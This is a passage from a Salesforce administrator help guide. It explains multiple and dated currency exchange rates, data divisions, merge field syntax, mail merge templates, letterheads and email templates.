3. Select a currency. Currencies are alphabetized using their ISO currency code.
4. Enter the conversion rate relative to your corporate currency.
5. Specify the number of decimal places to show for amounts in this currency.
6. Click Save.

To activate a currency from the list of inactive currencies, click Activate next to the currency.
To deactivate a currency, click Deactivate next to the currency. Deactivating a currency does not alter amounts in items that
use that currency. However, you can no longer enter new amounts using the inactive currency.
Note: Deactivating a currency that is set as a user’s personal currency automatically resets the user’s currency to the
corporate currency.

See Also:
Managing Multiple Currencies
Setting Corporate Currency
Editing Conversion Rates
About Advanced Currency Management
Administrator setup guide: Using Multiple Currencies

403
Multiple Currencies Editing Conversion Rates

Editing Conversion Rates


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

You can manage exchange rates between your active and inactive currencies and the corporate currency by editing the conversion
rates. These are static exchange rates that apply to all currency fields used in your organization. In addition to these conversion
rates, your organization may also use dated exchange rates for opportunities and opportunity products. For more information
about dated exchange rates, see About Advanced Currency Management on page 405.
To edit your organization's static conversion rates:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. If advanced currency management is enabled, click Manage Currencies.
3. Click Edit Rates in the Active Currencies or Inactive Currencies lists.
4. Enter the conversion rate between each currency and your corporate currency.
5. Click Save.

When you change the conversion rates, currency amounts are updated using the new rates. Previous conversion rates are not
stored. All conversions within opportunities, forecasts, and other amounts use the current conversion rate.
If your organization uses advanced currency management, you can also manage dated exchange rates for currency fields on
opportunities and opportunity products. To manage dated exchange rates, see Editing Dated Exchange Rates on page 407.

Notes on Changing Conversion Rates


• You cannot track revenue gain or loss based on currency fluctuations.
• Changing conversion rates causes a mass recalculation of roll-up summary fields, which may take up to 30 minutes,
depending on the number of records affected and other factors.

See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies

404
Advanced Currency Management About Advanced Currency Management

ADVANCED CURRENCY MANAGEMENT

About Advanced Currency Management


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable advanced currency management: “Customize Application”
To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

Advanced Currency Management allows you to manage dated exchange rates within opportunities using Salesforce.com.
Dated exchange rates allow you to map a conversion rate to a specific date range. For example, the exchange rate on January
1 was 1 USD to 1.39 AUD, but on February 1, it changed to 1 USD to 1.42 AUD. Your opportunities that closed between
January 1 and February 1 use the first exchange rate (1 = 1.39), while opportunities that closed after February 1 used the second
exchange rate (1 = 1.42).
Dated exchange rates are defined using a start date and a conversion rate. Each rate is in effect until either the end of time or
the day before the next start date for that currency. The time between on start date and the next start date is called the exchange
rate date range. These ranges can be as small as a day and as large as all of time.
To enable or disable advanced currency management, see Enabling or Disabling Advanced Currency Management on page
406.
When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates. For more information, see
Editing Dated Exchange Rates on page 407.
If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 404.

Advanced Currency Management Considerations


• Dated exchange rates are used for opportunities, opportunity products, opportunity product schedules, campaign opportunity
fields, and reports related to these objects and fields. Dated exchange rates are not used in forecasting, currency fields in
other objects, or currency fields in other types of reports.
• If you enable advanced currency management, you cannot create roll-up summary fields that calculate currency on the
opportunity object. All existing currency-related roll-up summary fields on the opportunity object will be disabled and
their values will no longer be calculated. If your organization enables advanced currency management, you should delete
any currency roll-up summary fields using opportunities and accounts or opportunities and custom objects.
• Campaign opportunity fields use dated exchange rates when calculating the amount in the campaign currency, but are not
used when converting those amounts to the user currency.
• Cross-object formulas always use the static conversion rate for currency conversion.

405
Advanced Currency Management Enabling or Disabling Advanced Currency Management

• If Advanced Currency Management is enabled, you can't bind Visualforce pages that use <apex:inputField> or
<apex:outputField> components to currency fields that support Advanced Currency Management.

See Also:
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Administrator setup guide: Using Multiple Currencies

Enabling or Disabling Advanced Currency Management


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable advanced currency management: “Customize Application”

To enable advanced currency management:

1. Enable multiple currencies for your organization. For more information, see Managing Multiple Currencies on page 401.
2. Click Setup ➤ Company Profile ➤ Manage Currencies.
3. Click Enable.
4. When prompted, select Yes, I want to enable Advanced Currency Management and click Enable.

When advanced currency management is first enabled, your existing exchange rates automatically become the first set of dated
exchange rates. These rates will be valid for all time, until you define another set of exchange rates.
To disable advanced currency management:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Disable.
3. When prompted, select Yes, I want to disable Advanced Currency Management and click Disable.

If you disable advanced currency management, all currency conversions will use the static conversion rate. See Editing Conversion
Rates on page 404.
When advanced currency management is enabled, Visualforce <apex:inputField> and <apex:outputField> components
cannot display currency fields.

See Also:
About Advanced Currency Management

406
Advanced Currency Management Editing Dated Exchange Rates

Editing Dated Exchange Rates


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view currencies: “View Setup and Configuration”
To change currencies: “Customize Application”

To add new dated exchange rates:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Manage Dated Exchange Rates.
3. Click New Exchange Rates.
4. Enter the date that the exchange rates go into effect.
5. Enter the exchange rates.
Note: The exchange rates will default to the current exchange rate. If you do not want to set a new exchange rate
for a currency, delete the exchange rate (leave the field blank).

6. Click Save to save the new dated exchange rates.

To view existing dated exchange rates:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Manage Dated Exchange Rates.
3. Select the date range you want to view either by entering the date and clicking Go!, or by selecting Previous Range or
Next Range.

To delete a dated exchange rate for a particular currency:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Manage Dated Exchange Rates.
3. Click the name of the currency you want to edit.
4. Click Del for the date range you want to delete.
If the date range you want is not displayed, enter it in the Show all rates with start dates between fields and
click Go!.

To edit your dated exchange rates for a particular currency:

1. Click Setup ➤ Company Profile ➤ Manage Currencies.


2. Click Manage Dated Exchange Rates.
3. Click the name of the currency you want to edit.
4. Click Edit for the date range you want to edit. If the date range you want is not displayed, enter it in the Show all
rates with start dates between fields and click Go!.

407
Divisions About Divisions

5. Edit the exchange rate, setting it to the new value for the date range, and click Save.

See Also:
About Advanced Currency Management
Managing Multiple Currencies
Setting Corporate Currency
Activating and Deactivating Currencies
Editing Conversion Rates
Administrator setup guide: Using Multiple Currencies

DIVISIONS

About Divisions
Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To create or edit divisions: “Modify All Data”
To limit list views, searches, and reports by division: “Affected by Divisions”

Divisions let you segment your organization's data into logical sections, making searches, reports, and list views more meaningful
to users. For example, you can create a report to show the opportunities for just the North American division, allowing you
to get accurate sales numbers for the North American sales team. Divisions are useful for organizations with extremely large
amounts of data.
Note: Contact salesforce.com to enable divisions for your organization. Divisions do not restrict users’ access to data
and are not meant for security purposes.

See Also:
Overview of Divisions
Getting Started with Divisions
Creating and Editing Divisions
Transferring Divisions
Changing Your Working Division
Changing Your Default Division
Administrator tip sheet: Getting Started with Divisions

408
Divisions Overview of Divisions

Overview of Divisions
Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To create or edit divisions: “Modify All Data”
To limit list views, searches, and reports by division: “Affected by Divisions”

There are three basic aspects to divisions:

• Division on individual records—Division is a field on individual records which marks the record as belonging to a particular
division. A record can belong to a division that the administrator creates, or it can belong to the standard “global” division
which is created automatically when your organization enables divisions.
• Default division for a user—Users are assigned to a default division that applies to their newly created accounts, leads,
and custom objects that are enabled for divisions.
• Working division—If you have the “Affected by Divisions” permission, you set the division in which you want to work
using a drop-down list in the sidebar. Then, searches will show only the data for your working division. You can change
your working division at any time. If you do not have the “Affected by Divisions” permission, you do not have a working
division; you always see records in all divisions.

The following table shows how using divisions affects different areas:

Area Description
Search If you have the “Affected by Divisions” permission:
• In Sidebar Search, you can select a working division to
search, or you can search all divisions.
• In Advanced Search, you can perform an advanced search
on a working division or all divisions.
• For searches in lookup dialogs, the results include records
in the division you select from the drop-down list in the
lookup dialog window.

Note: All searches within a working division also


include the global division. For example, if you search
within a working division called Western Division,
your results will include records found in both the
Western Division and the global division.

If you do not have the “Affected by Divisions” permission,


your search results always include records in all divisions.

List views If you have the “Affected by Divisions” permission, list views
include only the records in the division you specify when
creating or editing the list view. List views that are not

409
Divisions Overview of Divisions

Area Description
searching all records (such as My Open Cases) include records
in all divisions.
If you do not have the “Affected by Divisions” permission,
your list views always include records in all divisions.

Reports If you have the “Affected by Divisions” permission, you can


set your report options to include records in just one division
or all divisions. Reports that are already scoped (such as My
Cases or My team’s accounts) include records in all divisions,
and you cannot further limit them to a specific division.
If you do not have the “Affected by Divisions” permission,
your reports always include records in all divisions.

Viewing records and related lists When viewing the detail page of a record, the related lists
show all associated records to which you have access, regardless
of division.
Creating new records When you create new accounts, leads, or custom objects that
are enabled for divisions, the division is automatically set to
your default division, unless you override this setting.
When you create new records related to an account or other
record that already has a division, the new record is assigned
to the existing record’s division. For example, if you create a
custom object record that is on the detail side of a master-detail
relationship with a custom object that has divisions enabled,
it is assigned the master record's division.
When you create records that are not related to other records,
such as private opportunities or contacts not related to an
account, the division is automatically set to the global division.

Editing records When editing accounts, leads, or custom objects that are
enabled for divisions, you can change the division. All records
that are associated through a master-detail relationship are
automatically transferred to the new division as well. For
example, contacts and opportunities are transferred to the new
division of their associated account, and detail custom objects
are transferred to their master record's new division.
When editing other types of records, you cannot change the
division setting.

410
Divisions Getting Started with Divisions

Area Description
Custom objects When you enable divisions for a custom object, Salesforce.com
initially assigns each record for that custom object to the global
division.
When you create a custom object record:

• If the custom object is enabled for divisions, the record


adopts your default division.
• If the custom object is on the detail side of a master-detail
relationship with a divisions-enabled custom object, it
adopts the division of the master record.

Relationships If you convert a lookup relationship to a master-detail


relationship, detail records lose their current division and
inherit the division of their master record.
If you convert a master-detail relationship to a lookup
relationship, the division for any detail records is determined
by the previous master record.
If you delete a master-detail relationship, the division for any
detail records is determined by the previous master record.

See Also:
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions
About Divisions

Getting Started with Divisions


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To create or edit divisions: “Modify All Data”
To limit list views, searches, and reports by division: “Affected by Divisions”

The basic steps to begin using divisions are:

1. Contact salesforce.com to enable divisions for your organization.


When divisions are enabled, one global division is automatically created for your organization and all records are assigned
to that division by default. The default name for this division is “Global,” which you may customize if you wish.

411
Divisions Creating and Editing Divisions

2. Create divisions for your organization's data. See Creating and Editing Divisions on page 412.
Before creating divisions, plan which divisions you need based on how you want to segment your data. For example, you
may want one division for all of the records belonging to your North American sales team and one division for your
European sales team. You can create a maximum of 100 divisions, including any inactive ones.
3. For custom objects, select Enable Divisions on the custom object definition page to enable for divisions. See Defining
Custom Objects on page 1369.
4. Transfer leads, accounts, and custom objects into relevant divisions. See Transferring Divisions on page 607.
Transferring records includes associated records. For example, when you transfer divisions for accounts, all records related
to a particular account, such as contacts and opportunities, inherit the division of that account.
5. Add division fields to page layouts, as appropriate.
6. Add divisions to field-level security, as appropriate.
7. Enable the “Affected by Divisions” permission for any standard or custom profiles whose users should be able to limit list
views, searches, and reports by division. Users without this permission still have a default division, can view division fields,
change the division for a record, and specify a division while creating records.
8. Set the default division for all users. See Transferring Divisions on page 607. See also Changing Your Default Division on
page 33 for information on changing divisions for one user at a time.
A user’s default division determines the division assigned to all new accounts and leads he or she creates, unless the user
explicitly sets a different division. When users create records related to an account or other record that already has a division,
the new record is assigned to the existing record’s division; the default division is not used.
Remember to set the default division for all users, even those without the “Affected by Divisions” permission. Records
created by users without that permission are still assigned to a division.
9. Instruct users how to set their working division for searches and reports. See Changing Your Working Division on page
51.

See Also:
Overview of Divisions
Administrator tip sheet: Getting Started with Divisions
About Divisions

Creating and Editing Divisions


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To create or edit divisions: “Modify All Data”
To limit list views, searches, and reports by division: “Affected by Divisions”

To create and edit divisions:

1. Click Setup ➤ Company Profile ➤ Manage Divisions.

412
Divisions Managing Templates

2. Click New to create a division, or Edit to change an existing one.


3. Enter the division name.
4. Select the checkbox to make the division active, meaning that records and users can be assigned to this division.
You cannot make a division inactive if users or lead queues are assigned to that division.
5. Click Save.
Note: You can create a maximum of 100 divisions, including any inactive ones.

To change the order in which divisions appear in the Division picklist field, click the Sort button and use the arrows to order
the divisions.

See Also:
About Divisions
Overview of Divisions
Getting Started with Divisions
Administrator tip sheet: Getting Started with Divisions

Managing Templates
Available in: All Editions

Your administrator can create and maintain templates for defining letterheads, sending outbound email, and generating mail
merge documents.

• Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo,
color, and text settings from a letterhead.
• Email templates allow users to send email to contacts, leads, and others using predefined templates.
• Mail merge templates allow users to create custom documents using the information from your records. For example, you
can create a customized thank you letter to a specific lead.

See Also:
Creating Letterheads
Managing Email Templates
Managing Mail Merge Templates
Merge Fields Overview

413
Divisions Managing Templates

Merge Fields Overview


The available merge fields vary according to which Salesforce.com Edition you have.

You can use merge fields within custom formula fields, s-controls, custom links, custom buttons, Visualforce pages, and when
you create email or mail merge templates. Merge fields serve as placeholders for data that will be replaced with information
from your records, user information, or company information.

Guidelines for Using Merge Fields


• General merge field syntax guidelines:
The syntax for a merge field may differ, depending on where you are using it in Salesforce.com. To ensure that you are
using the correct syntax, select merge fields from the drop-down list in the editor where you are using the merge field.
Here are a few examples of syntax differences:
- When you insert the Account Number merge field in an email template, the syntax consists of an open curly brace and
exclamation point, followed by the type of record, a period, the field name and a closing curly brace:
{!Account.AccountNumber}.
- For formula fields and mail merge templates, the merge field is not enclosed in curly braces or preceded by an exclamation
point, nor is it preceded by the type of record, for example: AccountNumber.
- For custom objects, the field label is preceded with the type of record and all spaces are converted to underscores. For
example: {!Stockforce_CreatedDate} references the standard field called Created Date for the Stockforce
custom object.
- For formulas that allow you to reference fields on related objects across multiple relationships, the field name is prefixed
by the name of the relationship. For standard relationships, the name of the relationship is the master object. For
example, you can reference the account name merge field from a contact validation rule using Account.Name; you
can reference the phone number of the account creator from an opportunity product formula field using
Opportunity.Account.CreatedBy.Phone. For custom relationships, the name of the relationship is the Field
Name given when creating the relationship with “__r” appended to it. For example, reference the contact email merge
field from a custom object validation rule using the Contact__r.Email merge field name.
- If a custom field and standard field have the same name and you reference that name in a merge field, the merge field
displays the value of the custom field.
- Salesforce.com rounds numbers referenced in merge fields according to the user's locale, not the number of decimal of
spaces specified in the number field configuration.

• Merge field guidelines for email templates and mail merge templates:
- In email templates, you can add substitute text to any merge field. Substitute text displays in a sent email if the merge
record does not contain data for that field. To add substitute text, place a comma after the field name and enter the
text before the closing bracket, for example: Dear {!Contact.FirstName, Sir or Madam}. When you save the
template, the merge field will appear in the email template with the following syntax: Dear
{!BLANKVALUE(Contact.FirstName, "Sir or Madam")}.
- For mail merge templates, your merge fields can contain only letters, numbers, and the underscore (_) character. For
example, Opportunity_Product_# is not allowed. Mail merge field names cannot exceed 40 characters.
- Templates with contact merge fields can be used to generate email and mail merge documents for leads. Likewise, you
can use lead templates to generate contact emails and documents.
Note: You can only use standard fields when generating email and mail merge documents for leads or contacts.

414
Divisions Managing Templates

- For opportunity mail merges, you can use contact merge fields to merge additional information about a related contact.
- Merge fields for entitlements on cases aren't supported. For example, if you add the Entitlement Name
{!Case.Entitlement} merge field to an email template, the field is not populated on the template. See Case Fields
on page 2294.
- If you have enabled Email-to-Case or On-Demand Email-to-Case, you can create email templates that support reps
can use to respond to case emails. These templates can include merge fields that display information from the original
email in the response. For details, see Setting Up Email-to-Case or On-Demand Email-to-Case on page 1102 and
Managing Email Templates on page 423.
- Merge fields for products on opportunities are only available to organizations that have enabled products and can only
be used in mail merge templates, but not email templates.
- Approval process merge fields can be used in email templates, but not mail merge templates.
- If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these
fields will return values only when that email template is used as the approval assignment template. If you use the
template for any other email alert action—in either workflow rules or approval processes—the merge fields will return
a null value.
- In a multi-step approval process:
- Merge fields in the approval request email are set to the submitter's name and the name of the first step.
- When the request is approved, the merge fields update to the most recent approver's name and the name of the
second step.
- For subsequent actions, merge field values are updated based on the previous completed step.

- The merge fields {!Receiving_User.field_name} and {!Sending_User.field_name} work only in email


templates used for mass emails.
- Campaign and campaign member merge fields can be used in email templates, but not mail merge templates.
- Campaign member merge fields cannot be used with other types of merge fields in the same email template. For
example, if you create an email template using a campaign member merge field and you want to include the title of the
recipient, use {!CampaignMember.Title} instead of {!Lead.Title} or {!Contact.Title}.
- User fields are also known as Sending User fields for administrators and users with the “Manage Users” permission.
Use them in email templates when referencing the person sending the email.
- Administrators and users with the “Manage Users” permission can use Receiving User merge fields for email templates
to reference the recipient of the email.
- When account merge fields are included in an email template and this template is selected after a contact is added to
the email 'To' field, the Account merge fields are populated from the contact's account, not the case's account.
- To reference the name, email, phone, or company of the customer who submitted an online case, use the relevant
{!Case_OnlineCustomer...} field. To reference the contact or account associated with a case, use the relevant
contact or account merge fields.
- In email templates, the Created Date and Last Modified Date fields display only the date, not the date and
time.

• Additional merge field guidelines:


- A subset of user fields are available for customizing Self-Service pages.
- For local account, contact, and lead names, the standard merge field name will be used whenever the local name is
blank.
- If you're using the Translation Workbench to translate custom field names, users can look up merge fields in their
chosen language.
- If your organization uses person accounts, both business account and person account fields are available as account
merge fields. Account fields exclusive to person accounts, such as Birthdate, Email, and Title have “Account.Person”
in their merge field names. For example, {!Account.PersonBirthdate}. Furthermore, you can use the merge
field {!Account.IsPersonAccount} to determine whether you are working with a person account or a business
account. For more information, see What is a Person Account? on page 54.

415
Divisions Managing Mail Merge Templates

- Build cross-object formulas to span to related objects and reference merge fields on those objects.
- Visualforce pages also can use merge fields. Anything inside {! } is evaluated as an expression that can access values
from records that are currently in context. For example, you can display the current user's first name by adding the
{!$User.FirstName} merge field to a page:

<apex:page>
Hello {!$User.FirstName}!
s</apex:page>

See Also:
Setting Custom Buttons and Links
Managing Mail Merge Templates
Understanding Global Variables

Managing Mail Merge Templates


Available in: All Editions

User Permissions Needed


To upload mail merge templates: “Manage Public Templates”
To edit mail merge templates: “Manage Public Templates”

Mail merge templates define the content of a form letter or other mail merge document. They include variables called merge
fields where data from your records—for example a contact's name and address—displays in the generated document.
As an administrator, you are responsible for building mail merge templates in Microsoft Word and uploading them to
Salesforce.com to make them available for your users. See the following topics:

• Creating New Mail Merge Templates on page 417 explains how to build a new mail merge template from a blank Word
document.
• Modifying Existing Mail Merge Templates on page 418 explains how to download sample templates and modify them to
meet your unique business needs.
• Uploading Mail Merge Templates to Salesforce.com on page 419 explains how to upload completed mail merge templates
to Salesforce.com.

Tip: Click the following link to download a Zip file of sample mail merge templates: mm_templates.zip

See Also:
Mail Merge Overview
Sending Single Mail Merge Documents

416
Divisions Managing Mail Merge Templates

Creating New Mail Merge Templates


Available in: All Editions

User Permissions Needed


To upload mail merge templates: “Manage Public Templates”
To edit mail merge templates: “Manage Public Templates”

1. Open a new blank document in Microsoft Word 2002, 2003, or 2007.


2. Use Word to compose the document so it contains the text, data, and formatting your users require.
3. Locate the text or data variables in your Word document that will change each time the template is used. For example, in
the salutation “Dear Bob,” “Bob” is a variable because it will change when the letter is sent to a different person.
4. Replace each variable with the appropriate Salesforce.com merge field:

• If you have Connect for Office, you can use Word integration to insert merge fields quickly.
• If you do not have Connect for Office:

a. Place your cursor where you want to insert a merge field.


b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert
tab on the Ribbon, click Quick Parts in the Text group, and then click Field.
c. Select Mail Merge in the Categories drop-down list.
d. Select MergeField in the Field names box.
e. In the Field Properties area of the Field name box, manually enter the valid Salesforce.com merge field, such as
Opportunity_LineItem_ProductName.
f. Click OK.

Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.

5. Save your Word document.


6. Proceed to Uploading Mail Merge Templates to Salesforce.com on page 419.

Tip: For best results:

• Do not configure mail merge templates as “protected” or “restricted access” in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
• Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls “normal Word
documents.”

417
Divisions Managing Mail Merge Templates

For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.

See Also:
Managing Mail Merge Templates
Mail Merge Overview
Force.com Connect for Microsoft Office® Overview

Modifying Existing Mail Merge Templates


Available in: All Editions

User Permissions Needed


To upload mail merge templates: “Manage Public Templates”
To edit mail merge templates: “Manage Public Templates”

1. Download the sample mail merge templates and unzip the files to a convenient directory on your hard drive.
2. Review the instructions provided in salesforce_mailmerge_templates_howto.doc.
3. Open the desired sample template in Microsoft Word.
4. Save a copy of the sample template to your computer's desktop or other convenient location:

• Word 2000, XP, and 2003 users, select Save As from the File menu then choose an appropriate file name and destination
folder.
• Word 2007 users, select Save As from the Office button then choose an appropriate file name and destination folder.

5. Optionally, customize the text and formatting of the template.


6. Press ALT+F9 to display the hidden mail merge field codes.
Each of the mail merge fields should now appear in curly braces as follows: {MERGEFIELD Contact_FullName \*
MERGEFORMAT}
7. Change or add merge fields as necessary.

• If you have Connect for Office, you can use Word integration to insert merge fields quickly.
• If you do not have Connect for Office:

a. Place your cursor where you want to insert a merge field.


b. In Word 2003 and earlier, select Insert and then Field from the Word menu bar. In Word 2007, select the Insert
tab on the Ribbon, click Quick Parts in the Text group, and then click Field.
c. Select Mail Merge in the Categories drop-down list.
d. Select MergeField in the Field names box.
e. In the Field Properties area of the Field name box, manually enter the valid Salesforce.com merge field, such as
Opportunity_LineItem_ProductName.

418
Divisions Managing Mail Merge Templates

f. Click OK.

Note: To list information about all products associated with an opportunity, insert the
Opportunity_LineItem_Start merge field where you want to begin listing product information. Then,
insert all the merge fields you want to include for each product on an opportunity. Finally, insert the
Opportunity_LineItem_End to end the list.

8. Save your Word document.


9. Proceed to Uploading Mail Merge Templates to Salesforce.com on page 419.

Tip: For best results:

• Do not configure mail merge templates as “protected” or “restricted access” in Microsoft Word. Please refer to
Word's help for information about protected Word documents. (In Word, press F1 to open help.)
• Do not connect mail merge templates to external data sources such as Excel worksheets or Access databases. Please
refer to Word's help for information about restoring mail merge documents to what Word calls “normal Word
documents.”
For details on how to set up your template with these tips in mind, refer to Guidelines for Uploading Mail Merge
Templates.

See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview
Force.com Connect for Microsoft Office® Overview

Uploading Mail Merge Templates to Salesforce.com


Available in: All Editions

User Permissions Needed


To upload mail merge templates: “Manage Public Templates”
To edit mail merge templates: “Manage Public Templates”

Administrators and users with the “Manage Public Templates” permission must upload completed Microsoft Word mail
merge templates to Salesforce.com to make them available for use.
Tip: Before uploading a template, we recommend reviewing Guidelines for Uploading Mail Merge Templates.

1. In Salesforce.com, click Setup ➤ Communication Templates ➤ Mail Merge Templates.


2. Click New Template.

419
Divisions Using Letterheads

3. Enter a name and description for the template. This will help users correctly choose a template when generating mail
merge documents.
If your organization uses Extended Mail Merge, choose the appropriate document type: Document, Label, or Envelope.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in this
feature.
4. Click Browse to select your Word mail merge template.
5. Click Save to finish.

See Also:
Managing Mail Merge Templates
Merge Fields Overview
Mail Merge Overview

Using Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change letterheads: “Manage Letterheads”

A letterhead defines the logo, page color, and text settings for your HTML email templates. For best results, create a single
letterhead to use for all your HTML email templates. You can create letterheads and make them available organization-wide.
To use letterheads, click Setup ➤ Communication Templates ➤ Letterheads.
From the Letterheads list page:

• To view a letterhead, select the name from the list.


• To edit a letterhead, click the name from the list and choose one of the edit options: Edit Properties or Edit Letterhead.
• To delete a letterhead, click Del next to the name. You cannot delete a letterhead that is used in any HTML email templates.

See Also:
Creating Letterheads
Letterhead Fields

420
Divisions Using Letterheads

Creating Letterheads
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change letterheads: “Manage Letterheads”

Letterheads define the look and feel of your HTML email templates. Your HTML email templates can inherit the logo, color,
and text settings from a letterhead. A letterhead consists of properties and details. The properties are only visible inside your
organization; they help users identify a letterhead. The details are applied to an email when using that letterhead. Use the
letterhead wizard to create both the properties and details of your letterhead.
1. Click Setup ➤ Communication Templates ➤ Letterheads.
2. Click New Letterhead.

Setting Letterhead Properties


1. Check Available For Use if you would like users to be able to use the new letterhead immediately.
2. Enter a Letterhead Label. The label is used to refer to the letterhead on user interface pages.
3. If necessary, change the Letterhead Unique Name. This is a unique name used to refer to the component when using
the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. This name
can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with
a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. With the Letterhead
Unique Name field, a developer can change certain components' names in a managed package and the changes are reflected
in a subscriber's organization.
4. Enter a description for this letterhead. The name and description fields are for internal use only to describe the letterhead
to other users.
5. Click Save. The letterhead detail page appears.

Setting Letterhead Details


1. Set the attributes for the letterhead.
• Click Edit Background Color, and enter a color for the background of your letterhead. Click the color picker button
to choose a color.
• Click Edit Header Properties, and select the color, alignment, and height for the top section of the letterhead.
• Click Select Logo to include an image of your company logo in the top or bottom section of the letterhead. To select
an image, choose a folder, and click the document name to attach the document. Alternatively, click Search in
Documents, and enter the file name to search for documents by name. Make sure the document you select is marked
as Externally Available on the Documents tab so that a user who does not have a Salesforce.com username and
password can view the image when it is received in an email.
• Click Remove Logo to delete the image from the letterhead.
• Click Edit Top Line, and enter a color and height for a horizontal line below the header. Click the color picker button
to choose a color.
• Click Edit Body Colors, and enter the background color for the main body of your letterhead.
• Click Edit Middle Line, and enter a color and height for the middle border in your letterhead. Click the color picker
button to choose a color.

421
Divisions Using Letterheads

• Click Edit Footer Properties, and select a color, alignment, and height for the bottom section of the letterhead.
• Click Edit Bottom Line, and select a color and height of a bottom horizontal line. Click the color picker button to
choose a color.

2. Optionally, click Preview to display the letterhead in a separate browser window.


3. Click Save.
To create an HTML email template that contains the settings in your letterhead, see Creating HTML Email Templates on
page 427.

See Also:
Managing Email Templates
Creating Custom HTML Email Templates

Letterhead Fields
Here is a description, in alphabetical order, of the fields that appear on the Letterhead Detail page.

Field Description
Available For Use Check mark that indicates the letterhead can be applied to an
HTML template.
Created By Name of the user who created the letterhead, including the
date and time.
Description Text that helps distinguish this letterhead from others.
Letterhead Label Internal name to identify the letterhead.
Letterhead Unique Name This is a unique name used to refer to the component when
using the Force.com API. In managed packages, this unique
name prevents naming conflicts on package installations. This
name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
With the Letterhead Unique Name field, a developer can
change certain components' names in a managed package and
the changes are reflected in a subscriber's organization.
Modified By Name of the user who last modified the letterhead, including
the date and time.

422
Divisions Managing Email Templates

Field Description
Namespace Prefix The namespace prefix used by the email template within the
API.

See Also:
Creating Letterheads

Managing Email Templates


Available in: All Editions
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates: “Edit HTML Templates”
To create or change Visualforce email templates: “Customize Application”
To create or change public email template folders: “Manage Public Templates”

You can create four different types of email templates:

• Text - All users can create or change text email templates. See Creating Text Email Templates on page 425.
• HTML with letterhead - Administrators and users with the “Edit HTML Templates” permission can create HTML
email templates based on a letterhead. See Creating HTML Email Templates on page 427.
• Custom HTML - Administrators and users with the “Edit HTML Templates” permission can create custom HTML
email templates without using a letterhead. You must either know HTML or obtain the HTML code to insert in your
email template. See Creating Custom HTML Email Templates on page 432.
• Visualforce - Administrators and developers can create templates using Visualforce. Visualforce email templates allow for
advanced merging with a recipient's data, where the content of a template can contain information from multiple records,
see Creating Visualforce Email Templates.

All of these email templates can include text, merge fields, and attached files. You can also include images on your HTML
and Visualforce templates. You can use email templates when you send an email from the Activity History related list of a
record. Text and HTML templates can also be used when you send mass email. A button to check the spelling of your template
is available for text templates and Visualforce templates without HTML tags.
Note: You cannot send a mass email using a Visualforce email template.

To manage your personal email templates, click Setup ➤ Email ➤ My Templates. If you have permission to manage public
email templates, click Setup ➤ Communication Templates ➤ Email Templates.

423
Divisions Managing Email Templates

• Click on the name of any email template to go to the Viewing Email Templates page.
• To edit or delete a template, click Edit or Del next to the template name in the list.
• Click New Template to create any type of email template.

Note: Email templates used in the following features must be both public and active:

• Web-to-Lead
• Web-to-Case
• Email-to-Case or On-Demand Email-to-Case
• Assignment rules
• Escalation rules
• Auto-response rules

See Also:
Cloning Email Templates
Using Letterheads
Developer's Guide: Visualforce Developer's Guide
Administrator tip sheet: Tips for Using HTML Email Templates

Viewing Email Templates


Available in: All Editions
Mass email not available in: Personal, Contact Manager, and Group Editions
HTML and Visualforce email templates not available in: Personal Edition

User Permissions Needed


To create or change HTML email templates: “Edit HTML Templates”
To create or change Visualforce email templates: “Customize Application”
To create or change public email template folders: “Manage Public Templates”

To view a template, click the template name in the list. The options vary depending on the template type (custom, HTML,
Visualforce, or text):

• For text templates, click Edit to change the message content, subject, or merge fields.
• For custom and HTML templates:

- Click Edit HTML Version to change the content or merge fields of the HTML version.
Note: All custom and HTML email templates include a text-only version for recipients who are unable to
read HTML emails. If you leave the text-only version blank, the text-only version is automatically generated
when you edit the HTML version.

424
Divisions Managing Email Templates

